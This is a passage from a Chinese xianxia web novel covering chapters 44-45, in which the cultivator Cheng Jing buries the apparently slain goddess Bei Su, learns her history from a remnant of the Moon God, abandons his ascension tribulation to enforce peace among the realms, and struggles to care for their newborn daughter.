不知为何,她举起手,指向凤鸣带走北溯的方向,说:“她被带走了。” 话音刚落,眼前的人转身,冲那方向而去。 冉姬瑶的眼慢慢睁大。 破裂的衣裳下,皮肉裂开,血顺着裂痕溢出,滴在衣裳上。 但他好似未察觉到,依旧往前走。 冉姬瑶抬头望天,那雷云还未散去,蓄积着下一道雷劫。再一低头,周围荒凉得连风声都没有。 她靠着界碑,无力地闭上眼。 其实很好找到北溯。 一地的血,到处都是打斗的痕迹。 他的身影出现在碎裂的山石上,身子微微弓着,喘息了会,继续追寻。 直到天空降下第二道惊雷,落下的位置没有人影。 一道人影显现,向前趔趄几步,咳出的血溅到地面。他一手撑着地面,蓄力站起来。 抬起的眼帘颤动,许久之后,他才眨了眼。 树木不见,花草成灰,如同被大火袭卷过,千疮百孔,不见任何生灵。 啼哭声似乎减弱了。 成镜没有注意到,他抬起手,凝出一朵莲花,寻找她的气息。 莲花飞出一米,没有她。 再往前五米,还是没有她。 十米,依旧没有。 成镜手指抽动,抬腿往前走。 婴孩的哭啼声越来越弱,越来越深入灰烬腹地。 莲花停止了,缓缓落下,停在灰烬上,不再动。 成镜的脚步一顿,眼中倒映出那朵停滞的莲花,视线里只有灰烬,看不到任何人影。 他站在这荒凉之地中,除了苍穹卷积的黑云,再未有第三个能动的东西。 “等我回来。” 她的声音回荡,成镜还记得她走之前,对自己笑了一下。 但他那时太疼,没力气看清楚,隐约看到她唇角上扬,视线却不是在看他。 她看的是他的肚子。 不知道该怎么形容自己此刻的心情。 猜到是道宗与昆仑来魔域,雾漓喊她时,应是魔域撑不住,让她去支援。 然后,便是这一地的灰烬。 成镜眨了眼,灰烬中的莲花重新入眼,喉头滚动,他动了动腿,没能走得出去。 两道雷劫,劈得他皮开肉绽。 这世间万物运转,都有自己的规则,雷劫只会劈要渡劫的人,不会伤到旁人。 成镜盯着那朵莲花,半晌才走了一步。 一步一步,走过去。 走一步,耳畔出现她的声音。是枷锁,是开启折磨的钥匙,是他永远无法忘记的屈辱。 在渡过月圆之夜前,他在想,待恢复力量,定要杀了她。 月圆之夜后,他在想,待弄清楚一切,再杀了她。 但现在,他还没查清真相,将她心心念念要复活的人孕育成型,还没见到她,她就死了。 遍体鳞伤的人站在莲花前,脚步刚停,哭啼声立止。 大脑好似被重击,一片空白,耳中空鸣,周围一切仿佛远去。 莲花缓缓升起,花瓣散落,萦绕着一片区域飞舞,荧光将其照亮。 灰烬组成人形,静静躺在地面。 双眼看着躺在地面的“人”,一眨也不眨。 成镜不知道自己是怎么了,许是被她蛊惑,居然执着地想要找到她的尸体。 现在他找到了,却还是觉得有什么事没有做,心中不安,焦躁,急迫,混乱。 “轰隆——” 第三道雷劫劈下,一口血吐出来,洒在灰烬上。 成镜跪倒在地,手触到地面,还能感觉到温热。 很软的触感,像是陷进棉花里,软得骨头都没了。 他站不起来,单手抱住婴孩,另一只手撑着地面,按到一手的灰。 莲花凝聚,展开画面。 一只被长枪重创的凤凰带着什么东西飞驰而过,火球融化此处所有生灵,凤凰脱力坠落,画面消散,什么都看不见了。 凤鸣带走了她。 成镜咳了一声,低头看婴孩,颤抖的手抚上她的面颊,抹去她脸上的泪痕,指腹上的血与灰烬沾到她脸上,她张了张嘴,发出微弱的啜泣声。 她已经哭不出来了。 成镜看着那双几乎与北溯一模一样的眼,手指一动,想要碰一碰,却在即将碰到的一瞬间,猛地收回手。 他低声笑着,冲她说:“她都不要你。” 他自嘲地笑,转眼看向地面灰烬,又说:“她都不要你。” 成镜跪坐在地面,将婴孩放到边上,望着已经被烧成灰烬的她,想了很久。 想不通她怎么会死。 她是邪神,拥有神格,这世间还有什么能杀死她? 成镜想不通。 她都能侵入道宗,将他绑到魔界,又怎么会死。 想了很久,还是什么都没能想明白。 他偏头,望向婴孩,问她:“你知道她为什么会死吗?” 婴孩不会说话,也不知道为什么。她只是刚出生,刚出生便没有了娘。 成镜忽然想起她在自己身体里注入的力量,还有神魂交融时,她灌输的神魂之力。 恍然大悟。 原来她将她的力量都用来保护这个孩子了。 成镜对她说:“她对你真好。” 婴孩不会回答他的话,只有湿润的眼中不断流出泪。 成镜没有再碰她,在灰烬前跪坐了很久。 他忽然伸手,碰了碰灰烬。随后从边缘往里,将灰烬聚集到一处。 袖口扫到灰烬,他注意到,干脆撕断衣袖。动作又是一顿,他将衣袖放平整,莲叶取代衣袖。 他捧起骨灰,放到莲叶上。 一次一次捧起,一次一次放下。 第四道雷劫劈下来时,他猛地偏头,将血吐到别处。 再抬头去捧时,双臂颤得都用不了力。 成镜不知道自己什么时候将所有骨灰收集完,当手触碰到被烧焦的土壤时,才发现地上已经没 有她了。 他缓了会,撑着地面直起上半身,去看莲叶中的她。 一点都不像他见过的她。 他将莲叶合拢,瞥见手上还有灰,愣了会,一点点将手上的灰蹭下来,再将莲叶包好,用法术护着。 成镜捧着莲叶,站起身,望着四周,挑了一个方向走。 走出好几步时,转身看向地面的婴孩。 白皙得发光,在这黑夜中,成了最明显的存在。 成镜看了她许久,眼眸沉得如墨。 他走了回去,俯身将她抱起来。 左手是婴孩,右手是莲叶。 他说不清自己为什么要将她的骨灰收集起来,脑海里只有一个念头,她不该死在这。 眉心印记亮起,他的身影消失,再出现时,是在一座山头。 这是妖界边界的山,这座山后便是妖界,前方是人界。 成镜费了很大力气挖了个坑,雷劫劈下五道,他已经使不出法力,最后是用手挖的。 十指沾着泥土和血,他俯身,将莲叶放进坑里,垂眸望着。 没有血色的唇张开,他说:“你不该这个时候死的。” “你在我身上留下的屈辱痕迹,我还没有还给你。” 他想了想,又说:“她长得很像你。” 声音平静:“可惜,你看不到她了。” 成镜抬手,将泥土拂进去,泥土盖住莲叶,他的动作停下。 死死盯着莲叶,却一句话都没说出来。 他觉得自己应该恨她的,她对他做的事,一桩一件,都是邪恶的,无法原谅。 可她死了。 满腔的怒火与怨恨无处发泄,他像个傻子,被利用完,剩下的烂摊子扔给他,还得给她收尸。 这算盘打得多好。 一手将泥土拂进去,他低着头,一声不吭。 坑被填上,他闭上了眼。 黑暗中似乎有晶莹的东西坠落,被土壤吞没。 成镜在心中想,他应该是疯了,才会给她收尸,将她埋葬。 星星点点的光芒向他凝聚,逐渐组成一轮弯月,周围缓缓亮起来,弯月取代黑夜,将这片大地照亮。 成镜抬起头,眼前枯木生出嫩芽,快速生长,花苞绽开,一棵月桂树映照在他眼中。 树影婆娑,花瓣飘散,在空中打转,漂浮在水面。 月桂树下,月白衣袍的男人静静而立。 成镜看到了他。 “你已经修出人形了?” 成镜恍惚了一瞬,没有立刻回答。 月神缓缓走来,目光转向他边上的婴孩,面上闪过诧异:“你孕育出了生命?” 成镜这才回神,在他的话中捕捉到了极为重要的一点,艰难问出口:“她要复活的,不是你吗?” 月神惊讶,随即笑道:“我已经死去,无法被复活。” 他看着成镜将婴孩抱着站起身,看到那双翠绿的竖瞳,更是惊讶:“她是你与小北的孩子?” 成镜扣紧婴孩的衣裳,良久才嗯了一声。 月神却疑惑:“小北与你成婚了?” “没有。”成镜说的很快,乍一听,像是在掩盖什么。 月神看了会他,摇头道:“这是你和她的孩子,没有成婚,你不想对她负责?” 成镜凝视着眼前的人,他不知自己为何会看见他,在她的记忆里,月神已经死了。 但他确实存在自己面前。 喉头滚动,成镜张口,良久之后,才吐出一句话:“她死了。” 成镜仍旧看着月神,脑海中闪过雾漓说的那句话,心口被什么东西刺了一下,刺痛的感觉很快消散,如同错觉。 他没有在月神脸上看出悲痛,有的只是遗憾。 这不是恋人之间会有的反应,或者说,是她单方面喜欢月神,月神不知。 “还是没能改变吗……”月神叹息,声音低了些:“我原以为,将你带到这个世界,可以救她一命。” 成镜瞳孔骤缩,不等他问,月神已经解释。 “金莲可孕育万物,你在修成人形时,应是已经知道自己的特殊。”月神看他,见他眸中溢出惊愕,再到难以置信,再次叹了口气。 “我知小北命里有一劫,也知三界必然会被摧毁,小北也意识到了,她想改变这一切。” 月神说的话,逐渐与成镜看过的北溯过去对应上。 “你与我同源,这些事告诉你也无妨。”月神挥手,月桂枝落入他手中,他将枝丫上花瓣散落,凝成画面。 “三神分崩离析,我不愿与他们中任意一位为伍,被他们剥夺力量,受小北召唤,来到这世间。彼时她意识到有人在背后密谋,先拿妖族开刀。” “小北是个很聪明的孩子,她很快发现,背后之人的目的,是用妖骨建起天梯,通向上界。” “若是这天梯能造成功,你所在的世界,必然会死伤无数生灵。” “小北不愿意看到这样的局面,她求我帮她,阻止这一切。”月神摇头,道:“我无法帮她。我只能尽力教她变强,尽可能地去规避更多的死亡,延迟那一天的到来。” “他们降临之时,这个世界便会沦为他们的玩物。” 成镜在他不说话的空挡,问他:“你说的救她一命,是什么意思?” 月神朝他笑笑,带着一丝歉意:“我本是想着,若是她无法避开这一劫难,还有你在,你可以复活她。” 成镜倒退一步,险些没抱住孩子。 他僵硬着,低头去看怀里的婴孩,对上她的眼,想起她接近自己时,要他为她孕育生命。 原本以为他要成为月神的生父。 实际上,他原本,应该是复活她的容器。 所以他诞下的,只单纯的,是他与她的孩子? 成镜不知自己此刻应该是庆幸还是绝望,他并不是用来复活她心上人的容器,但本身就是为保住她一条命的底牌。 而今,这张底牌失效了。 不—— “我只找到了她的骨灰,她可能没有死,你能找到她的神魂吗?” 月神笑了笑,说:“我早已死去,现在你所见的我不过是缕残存的意识,无法得知我死后发生的事。” 升起的希望迅速消散,成镜捏紧的手松开,眸光黯淡。 月神说:“如果连你都感知不到她的神魂,大概率,她已经不在这世上。” 沉默袭卷,没有人说话。 月神忽然开口:“你应是在渡劫吧。” 成镜没有回答。 “按照这个世界的法则,你渡劫飞升后,需要去昆仑再修炼,摸到成神门槛,走上登神梯,经过神格考验,才可成神。” “但现在,登神梯已毁,你无法成神。” 成镜应了句:“我不成神。” 月神笑了:“你不成神,怎么为她报仇?” 成镜骤然看他。 “你知道小北为何执着着要保护妖界,甚至要摧毁世间法则吗?” “我知道。” “嗯?”月神诧异,“我死时,你应该还未修成人形,你怎会知道?” “我看过……”成镜艰难开口:“她的过往。” “是这样。”月神了然,笑意加深:“那你该是与小北神魂交融过,通过此等途径看到她的过往。” 成镜难以启齿,不知是为神魂交融,还是自己用以看到北溯过往的途径。 “小北的视角片面,有些事你从她的过往中,看不到全局。” 月神说:“她知道这一场与屠杀无异的阴谋后,告诉我,她要改变这一切。我无法直接插手,只能去摧毁与我所在世界同阶的东西。” “你应是没有去过这个世界的仙界,蓬莱,与昆仑。” 成镜想到他在北溯过往中,看到她摧毁的那四根通天柱。 “当初我摧毁了他们在蓬莱设立的四根通天柱,昆仑那还有四根——” “她已经摧毁了。” 月神一愣,笑道:“小北确实厉害,我只告诉她摧毁的方法,没想到她真的摧毁了。” 他继续说:“但蓬莱的四根与昆仑的不一样,蓬莱的那四根蕴含他们的神力,我的力量受损且被压制,摧毁这四根,几乎耗费了我所有力量。妖界与小北出事,我不得不放弃神格,以此来保护她。” 说到这,月神问:“她有没有与你说怨我?毕竟我没有经过她的允许,将神格给她。” 成镜别开眼,不看他,捏紧了手,挤出一句话:“她喜欢你。” 月神怔愣,许久才反应过来,笑了出来。 成镜双手捏得更紧,双臂没有衣袖遮盖,手臂上鼓起的青筋看得一清二楚。 他不明白,月神怎么能笑得出来。 “你是从哪里看出她喜欢我的?” 成镜脱口而出:“雾漓说——” 当即发觉自己不该这么说,这样缺乏判断的话,他怎么能不经过思考,就说出来。 “雾漓?他的话不能全信。”月神回想北溯对他说的她的同伴,对雾漓的印象最不好:“小北只是把我 当师父,并为对我产生男女之情。” 成镜捏紧的手松开,自嘲地笑了声。 一直以来,都是他自己在胡乱猜想,她根本没有那个意思。 成镜觉得自己现在定然像极了傻子,自以为是地猜她接近自己的目的,到最后,真的只是生了个孩子。 可她为什么,偏偏选中他? “小北真的不在了吗?” 直到此刻,成镜才真正接受北溯死了的事实。 他点头,喉咙里发出嗯声。 月神顿了会,说:“他们的计划不会停止,小北死去,神格不灭,你能见到我,说明神格转嫁到你身上了。” 月神郑重道:“若是你愿意帮她,就请在他们的计划继续之前,将帮他们的人揪出来,至少能拖延一段时间。” “这个孩子,也能再多见几年这世间。”他看着成镜怀里的婴孩,无奈低叹。 “好好珍惜她留给你的一切。”他似个老父亲般,叮嘱他。 月桂树消散,那个曾经是她十几年的师父,也在此刻彻底死去。 他带着笑,温和的模样与那透彻无暇的月一般。 成镜心头一跳,那一刻,无尽的悲凉袭卷。 “小北啊,她固执得很,心也铁的很,不会轻易与人交心,她的三个朋友,都是她真心交付的。” “她呀,心比嘴软,要是不愿意,根本不会让别人碰她。” “她愿意与你有孩子,定是将你划在自己那边,想与你交心的。” 他的声音随着月桂一起飘散,被黑暗淹没。 成镜抱着婴孩,站在她的坟前,失神地望着远方。 他从不知,她是这样的人。 闪电带来光,照亮他,面颊上那滴晶莹,含着他难以言说的情感,缓缓坠落。 可是她已经不在了,他去哪问,她究竟把他当成了什么。 成镜低头,抬手去碰那双眼,忽然被握住手指。 软软的,一碰上来,叫人心都化了。 成镜偏头,望着他埋葬她的位置,雷声盖住他的声音。 他张开口,说了一句话。 第44章 “尊主!我等来晚了!” 几位魔将冲过来,跪于冉姬瑶面前,心惊又痛恶。 “那群修士太难缠,我们损失了太多同族,才将他们消灭。” “尊主,现在他们……” 冉姬瑶吸收着魔将渡过来的魔气疗伤,只问:“来时可看到雾漓?” 魔将摇头,“魔域内几乎空了,我等来时并未见到他。” 冉姬瑶喘了口气,吩咐道:“将这群人族的尸体都扔回道宗,清理干净。” 魔将们立刻动手,刚将尸体聚拢到一处,一只手从尸堆里冒出来,吓了他们一跳。 “还有活的?刀了。” 话音刚落,灵力击出,魔将避开,警惕盯着,时刻准备杀了那人。 尸体堆里又伸出一只手,满手的血腥,尸体被使劲推开,露出一颗脑袋。双眼睁开,杀意四溢。 “是人族,杀了她!” 魔将刚动手,那人从尸体里冲出来,灵力炸开,周围魔将全都被击飞。 冉姬瑶正要攻击,危险的气息袭来,脖颈被掐住,那张混杂鲜血的脸冲到面前,看着如同厉鬼。 “道君呢?” 冉姬瑶反手将尖锐的利爪刺入她身体,掐住脖颈的手收紧,逐渐窒息。 在她意识模糊时,一道气息逼近,脖颈一松,一道白色身影落入眼帘,只看到他一人的身影,冉姬瑶遗憾地叹了口气。 “道君?”目光转移到男人怀中,惊愕出声:“你从何处而来?我方才怎么没见到你?” 成镜淡漠望着天綪,没有回答,在她一声比一声尖锐的询问中,开口:“你没死?” 离开前,满地的尸体,除了一开始的那些人,里头没有感知到天綪的气息。 “道君这话是什么意思?”天綪与成镜面对面而站,声音渐沉:“道君不该渡劫吗?” 她似乎没感觉到身体上被捅出的伤,只盯着成镜,眼眸漆黑。黑衣将血吸收,脸上的血痕几乎将她的脸掩盖,随便找个道宗弟子过来,也认不出她是道宗宗主。 听到她这句话,成镜才缓缓抬头,望向依旧黑云低压的苍穹,没有回答。 却是冲冉姬瑶道:“雾漓我会带走,魔域与魔渊合并,你为魔界之首。” 冉姬瑶没有动,她知道此刻若是成镜想杀了她,绝无反抗的能力。不过听到他不杀自己,倒是诧异。以成镜的立场,该是趁机将魔界剿灭才对。 “不可!魔界与邪神勾结,不除了她,后患无穷!”天綪立即反对。 “杀了她,魔界混乱,妖界便会趁乱动手——” “那便将妖界一起灭了。” 成镜只扫了她一眼,眼底分明没有任何情绪,却叫人不敢再多说一句。 “世间需要人妖魔来平衡,一方消失,世间失衡,其后果,你无法承受。” 他说完,又对冉姬瑶道:“道宗会派人来将尸体带走。” 说罢,他偏过身,莲花弹出,在尸堆上旋转一圈,散成灵子,将被击晕的魔与修士唤醒。 此刻天綪才注意到他怀里抱着什么东西,要仔细看时,成镜已经转身,迈步离去。 “今日一事,到此为止,再挑起杀戮,一并关入镇魔塔。” 束着散发的白色发带飘扬,他的身影消失。 修士刚醒,缓了一会才听明白他的话。 “道君这是什么意思?不让我们杀了这群魔?那我们死去的同门算什么!” “道君那么说,自有他的考量,况且……”说话的修士望着周围虎视眈眈的魔,紧张地吞咽口水,脚已经往后退:“现在我们的人少,和他们打起来没有胜算。” 在场的基本上是别宗修士,非道宗弟子,虽然天綪在此处,但也并不会因为她一句话就把命葬送在此处。 有人试探问:“宗主,您是打算……” 天綪没有身子抽动,速度很快幅度很小,没人看清,她只说了一句:“遵从道君的吩咐。” 她盯着地上的尸体,隐约能辨认出里头蓝白衣裳。无数尸体堆积,残肢断臂,眼珠子都来不及合上。 天綪高声呵道:“将,为维护世间正义,为铲除污秽邪祟,庇佑人界的忠诚英勇之士们,带回道宗!” 修士们立刻高声回应,他们的心在此刻,因天綪的这句话而颤动,悲痛同族的死亡,更愤恨邪神与魔族的残忍。 忽然有人开口,问:“邪神……”他的声音颤抖,含着期待:“被杀死了吗?” 天綪面向他们,没有抹去脸上的血,望着一双双充满期待的眼,高声大喊:“邪神已死!世间再无邪神!” 冉姬瑶冷眼望着这一幕,听着他们兴奋尖叫,刺耳至极。 她仰头望着苍穹,闪电还在劈。 可这雷,怎么不将这群人劈死,她看着真恶心。 “密切监视他们的行动,敢越过界碑一步,直接杀了。”冉姬瑶站起身,对上天綪转过来的视线,对方笑着,却如厉鬼般阴森。 “今日便放过你们,你等若是动一点歪心思,不用道君来,我便会灭了你族。” 天綪的话如同兴奋剂,修士听了,蠢蠢欲动,但知道现在没有正当理由,不能动手,只得先忍着,待日后找机会,灭了魔界。 “你不如回去看看 你们的道君,至今还未渡劫成功,怕是成不了了。” 冉姬瑶这句话在他们听来算是诅咒,她自己也有这个意思。 天綪脏污的脸上看不出表情,但她的动作反应出来她很急,直接往道宗的方向走。 路过修士时,修士冲她问了句话,她都没理。 修士们望着她身影消失,面面相觑,一转头就见着如豺狼的魔族,又恨又怂,骂骂咧咧几句,去收尸了。 冉姬瑶将残局交给魔将们收拾,去魔域看看情况,半路上想到成镜说要带走雾漓,找了一圈,没见到人。 “已经被带走了?” 她蹙起眉,还是觉得不安。雾漓当初来魔界,用了手段将魔界分割成两处,如今要合并,却没什么阻力。 魔域的魔几乎死光了,剩下的都是虾兵蟹将,很好处理。 天綪回到道宗前,用了清洁术将自己仪容仪表整理好,没有立刻见道宗弟子,直接去找成镜。 途中一次也没见雷劫落下来过,情况很不正常。 她先去了重莲殿,里头还是之前被扫荡一空的样子,没有他的人影。又去了别处找,连他一根头发丝都没看见。 “这几日他身上究竟发生了什么,变了个人似的。” 回想在魔界看见他时,他那副面无表情毫无波澜的模样,像是经历了什么痛苦的遭遇,心死了一般。 且他怀里的东西,看轮廓,是个—— “轰——” 天綪扭头往九重山方向看去,梵钟之声从东方传来,响彻整个道宗。 “他敲钟做什么?” 天綪立即过去,男人站在梵钟旁,一身白衣,垂下的发丝由一根白色发带束着,这一身穿得太过寡淡。虽说他平日里也这么穿,但从未这般,全身都是白。 隐约意识到他被劫去魔界的这些日子发生了什么,但这不是现在该问的,当务之急,是他渡劫飞升。 “道君身子有恙,还是受了伤,为何这雷迟迟不劈下?” 成镜没有回答,只问她:“我回来时,发现道宗多了很多别宗修士,是你叫来的?” 天綪直接说了是,略过这个话题,上前一步,语气加重:“邪神已灭,世间再无人可威胁到人界,道君你可安心渡劫飞升,不必担忧道宗。” 眼前的素色身影未动,她越发焦急,方要催促,便听见他说:“我应是渡不过这劫。” 天綪错愕:“你说什么?” 成镜转身,冷眼看过去:“我有心魔,无法飞升。” 短短一句话,他说得极为轻松,天綪却宛如雷击。她逐字逐句分析,做了万种猜测,均无法解释他为何会有心魔。 视线往下,盯着他怀里包裹得严严实实的东西,问:“那是什么?” 成镜收紧手,垂眸看襁褓里的婴孩,淡淡道:“我的孩子。” 天綪:“???” “你说什么?” 成镜瞥她一眼,不再言,俯瞰底下聚集的人群,道:“从此刻起,任何人不得入侵妖、魔两界。” “道君——” 天綪急迫的叫喊声被成镜的声音覆盖。 “三界不可再有纷争,有异议者,可与我当面对峙。” 一片哗然,他们仰望山巅白色身影,头顶雷云还未散去,好不容易看到这位道君,却听到他说了这么一句话,这叫他们如何能满意! 天綪嘶吼:“你知道你这么说,天下人会如何看你吗?这么多人来道宗,就是为了看你渡劫飞升,为人界铲除祸害,你却说要与妖魔和平共处?你觉得他们能接受吗?” “这天下人能接受吗!” 成镜并不管她,继续道:“此次杀邪神,各宗的损失,道宗会尽力补偿。雷劫将散,诸位不必再关注鄙人。” 说完这些,成镜转身要走,天綪拦在他面前,死死盯着他,眼球凸起,声音比平常粗了很多:“是邪神害你有了心魔!” 她的状态看着很不正常,几分疯癫,身体前倾,往他冲了几步,质问他:“是不是!” 成镜眼神沉下,怀里婴孩忽然哭出声,他动了动胳膊,对天綪道:“你若是不满我的决定,大可将我赶出道宗。” “但若被我发现有人刻意挑动三界争端,我会动手,将他们铲除。” 成镜不再给天綪一丝目光,走过她。 “若是先动手的是妖族,魔族呢?” 成镜脚步不停,冷声道:“一并处之。” 妖魔两界都有背叛她的人在,背后之人不仅仅控制了人界,三界之中,没有一处安宁。 他的背影落在天綪眼里,只觉得他疯了,被那邪神毁了。 等了三百年才等来这么个能飞升的人,结果说不渡劫就不渡劫了? 远处走来两人,离得远远的,小声问:“宗主,听回来的弟子说,邪神已经被除了?” 天綪猛地回神,想起来还有件事没做,她立刻正了脸色,冲山下那群人道:“诸位,我有一个好消息要告诉大家。” 她望着底下人影,笑出来:“邪神已经被彻底杀死!” 成镜脚步一顿,怀里的孩子哭得声音更响,他抬手,碰了碰她小得都没有他一根手指大的手,低声说:“别听。” 他的身影消失,天綪仍旧在说。 “所有为铲除邪神而牺牲的修士,道宗将给予最崇高的荣誉,死去的英魂将带着这份荣誉,在地下长眠。” 她高声呐喊:“神庇英魂,万古长存!” “神庇英魂,万古长存!” 底下人群亢奋,激动不已,天綪垂眸看着,笑容渐渐淡去,冷着脸冲星峦与陆长老道:“把他们带回来的尸体都烧了,找块风水宝地埋骨灰。” “是。”两人低声应道。 天綪转身就走。 苍穹中雷云散去,雷劫一共劈了七下,远不到总数的一半,半途终止渡劫从未有过例子,谁也不知道这是对自身有害,也不知这次无法渡劫,还有没有再渡劫的机会。 成镜回了重莲殿,将里头的东西恢复成原样,设下两道禁阵,回到寝殿将孩子放到床上。 她在哭,哭声比之前微弱了些,眼睛哭得通红,双手扑腾,一刻也不安宁。 成镜皱眉望她,不知她为何而哭,先前分明已经停止哭泣,怎的还在哭? 从未有过带孩子的经验,这个时候他更没心思带孩子。 成镜站在床边,低头看着,木着脸说:“别哭。” 刚出生的孩子怎么能听懂他说的话,只一个劲哭,嗓子都哑了。 成镜看了她一会,装着严肃的样,道:“别哭。” 婴孩不仅哭,声音还更大了。 成镜深吸口气,眼前莫名闪过女子的笑脸,身子抽痛,他没注意,再次开口,声音比之前弱了些,尽量柔和:“别哭。” 可她还是哭。 眼泪刷刷落下,抽噎了一下,继续哭。 成镜想了想,抱起她去问有经验的人,可刚抱起来,胸前抽痛,熟悉的湿意涌来。 他僵硬着不动,缓了很久,在身上施加法术,离开道宗。 雷云散尽时,天空泛白,一丝金光照耀,慌神一整晚的人们终于能松口气。 正要闭眼好好睡一觉,门突然被敲响,一家子吓了一跳,登时爬起来盯着大门,心跳得飞快。 “谁、谁啊?” “家中婴孩不知为何啼哭不止,便来寻求帮助。” 妇人抱着家里孩子,拉男人的胳膊,冲他摇头:“这人说话文绉绉的,搞不好是妖兽变的,骗我们开门。” 丈夫也是这么觉得,刚要拒绝,听到一丝微弱哭声。 “你听,真有孩子哭!”妇人生过孩子,能听出孩子哭声里蕴含的信息,仔细听了会,拉着丈夫去开门。 “咱村子不是有士兵吗?要是出事就喊人,不怕妖兽!” 男人想想也是,还是壮着胆子去开门。 门开了条缝,眼珠子透过门缝去看,只见一玉面郎君站在门口,怀里真抱着一孩子,门立刻拉开,妇人一见那孩子哭得都快没力气了,哎呦一声,语气责备:“你娃都饿得没力气哭了,这都看不出来?” 成镜消化了许久,才明白这句话的意思,还没开口问,妇人急急道:“这孩子刚生出来吧?你就敢带到外头见风?你这个爹怎么当的?” “我——” “快些让孩子娘给她喂奶,带回去裹得严严实实,这风一吹,落了病根就不好了,你这个爹当的!” 成镜一句话没说着,被骂了好几句。 他终于意识到自己为何会流出那东西,低头看怀里那脆弱的孩子,低声说了句谢谢。 “谢什么,你还不赶快——” 妇人话还没说完,眼前的身影消失。 夫妻俩大眼对小眼,惊恐:“真是个妖兽!” 两人赶紧把门关上,回去抱着孩子躲起来。 成镜不知自己被当做了妖兽,回到寝殿,将孩子放回去,盯着自己的胸口,骤然转身,咬住唇。 只这么看一眼,她的呼吸,她的味道,似乎就在眼前。那日荒诞的碰触,居然记得一清二楚。 他的身子一颤,捂着额头,眉头紧皱,身体的反应越来越强烈,可周围不是那间昏暗的寝殿,也没有她的身影,没有人会帮他。 曜日照亮殿内,将他的身影暴露在阳光下,他弓着身子,偏头去看婴孩。 “等我回来。” “我给她起了个名字,叫鳞舞。” “鳞舞……” 成镜重复着这个名字,艰难地走过去,垂眸望着自己生下来的孩子,恍惚间,想起她一直对自己说的话。 要他为她孕育生命。 可现在孩子有了,她却不在。 天綪有句话说的很对,他确实被北溯害了。 他没有心魔,却胜似有心魔。 手指被柔软的手触碰,她那么小,哭得那么惨,刚生下来,就没有了娘。 成镜握住她的手,低低笑了笑。 是他的错,没有坚守内心,被她侵入,被她影响,被她拉入深渊。 他该为自己错误承担代价。 成镜松开她,直接出了寝殿,去了囚牢。 昏暗的囚牢里没有窗户,门一关,禁阵一开,谁都进不来。 他将器皿放好,抬起手,褪下左臂衣袖,衣衫已经湿了一块,他盯着自己,放缓呼吸。 用法术清洁过后,伸出手,却又立刻收了回去。 没法面对。 他做了很久的思想准备,还是没能跨过那道坎。 要怎么做,他要怎么做,才能装作一切都没有发生。 成镜想了很久,脑海空白,最终他盯着自己,颤着手,拿着器皿,杯中渐满。 小心翼翼将器皿放好,法术笼罩,维持新鲜度,再换了身干净的衣裳,出了囚牢,回到寝殿。 没有听到哭声。 脚步快了些,走到床边,她还睁着眼,但明显很虚弱。 他抱起孩子,将杯子递到她嘴边。 但他忘了,刚出生的孩子还不会直接用杯子喝。 成镜意识到这个问题,想了片刻,凝出朵莲花,将花瓣浸透乳液,小块小块地给她吮吸。 一杯渐空,成镜再看过去时,最后一片花瓣跑到了她脸上,她已经闭上眼,呼吸绵长。 成镜呼出口气,将她放回床上,刚松手,她就哭。 成镜立即将花瓣给她,她不吸,还在哭。 他没办法,抱起来准备去问人,她却又不哭了,闭上眼,呼吸逐渐平稳。 成镜僵着身子,等了好一会,才慢慢地放回去,谁知刚碰到床,她又哭。 立刻收回胳膊,抱在怀里,双臂动了动,像是在哄她入睡。 她不哭了。 不哭的时候,很安静,小小的一团缩在他怀里,有时候会吧唧一下嘴。 成镜没有再将她放到床上,抱了许久,久到胳膊酸胀,靠在床栏上缓缓。 这个时候,他才有时间仔细看她。 其实他看不出她有哪里像自己,哪里像她,但那双眼,与她几乎一模一样。 成镜抬眸,看向窗户,外面日光正盛,周围平静,平静到之前经历的一切宛如错觉。 “我给她起了个名字,叫鳞舞。” 他回眸望向婴孩,低声道:“这个名字不好听。” 他没说哪里不好听,也没说要给她换个名字,只抱着她,靠在床栏上,迎着日光,闭上眼。 意识逐渐下沉,他做了个梦。 梦里有一轮弯月,女子坐在弯月上,笑着往下看。 成镜凝望那轮弯月,看到她张口,说了什么。 但他听不见。 她没有发出任何声音。 她忽然跳了下来,就在他面前,跳进了海中。 成镜意识过来时,人已经跟着跳下去。 海水淹没了他,海浪拍打,冲走了他的白色发带,散开的发挡住视线,她的身影不见了。 越来越汹涌的浪扑打过来,他浮出水面,无边无际的海面没有她的身影,连那轮弯月,都不见了。 漫无边际的海,漆黑无光的天空,将他夹在其中,压迫过来,令他喘不过气。 他转着身子环视周围,发现这里只有自己一人。 成镜捧起海水,浇灌在自己脸上。 冰冷,令人清醒,也令人绝望。 他闭上了眼,沉入海水中。 梦里,再也没有她。 成镜是被哭声吵醒的。 一睁眼,婴孩趴在他胸口,衣裳都被眼泪洇湿。 他抬手,擦了她的眼泪,说:“乖。” 这个字刚出口,又是一愣,这个字,她对他说过很多遍。 成镜抱起她,轻轻晃了晃,声音压低:“她给你起的名字不好听。” “换个名字,”成镜松开她,给她凝出干净的衣衫,说:“你叫舞宝。” 你是她得不到,看不见的宝。 给孩子起个新名字,这样似乎就能报复她。 婴孩睁着眼,啊呜一声。 第45章 成镜看了会,又去了囚牢。回来时继续用之前的办法,喂她喝。 饱了后她不哭了,睁着水汪汪的眼,看着他。 嘴巴上还沾着乳液,他用帕子轻轻擦去,一动不动,低头看着她。 舞宝眨了眨眼,眼眸弯起,笑了出来。 “道君,您现在可有时间,我有些事要与您商量。” 天綪的声音突然传进来,成镜往外头看,太阳高悬,正午已过,他睡了将近两个时辰。 他没有应声,布置了一层结界隔绝外界声音,盯着舞宝翠绿的竖瞳看了会,抬手抚过,绿瞳化为黑瞳,静静望着他。 成镜没有见过孩子出生,也没养过孩子,除开她饿了会闹腾,只要睡着,安静得很。 但现在她饱了,没有睡觉。 成镜蹙眉,等她睡着再出去见天綪,她若不睡,难道要抱着她去见? 这个念头一出,他动了动手,凝出一朵莲花,将孩子放进去,法术操控莲花缓缓晃动。 孩子眼睛睁得更大了,好奇看着这花,探出手去抓。 成镜见她不哭,等了会才转身出去,谁知刚走到门口,扑通一声,什么东西掉到地上,随即响起惊天动地的哭声。 一转身便见孩子趴在床上哭。 法术托起她,成镜快步走回去抱住,一低头就见她瘪嘴哭。好在包得严实,莲花悬浮得也不高,没撞到。 以防万一,成镜用灵力探查她的身体,没有伤到。 他转头去看莲花,花瓣都折了,显然是她刚才伸手去抓花瓣,身子倾斜,花瓣撑不住她的重量,她滚了下去。 如此好动,没人看着,就要出事。 成镜叹了口气,认命地抱住她,往外头传音。 “晚些时候我自会 去吞云殿。” 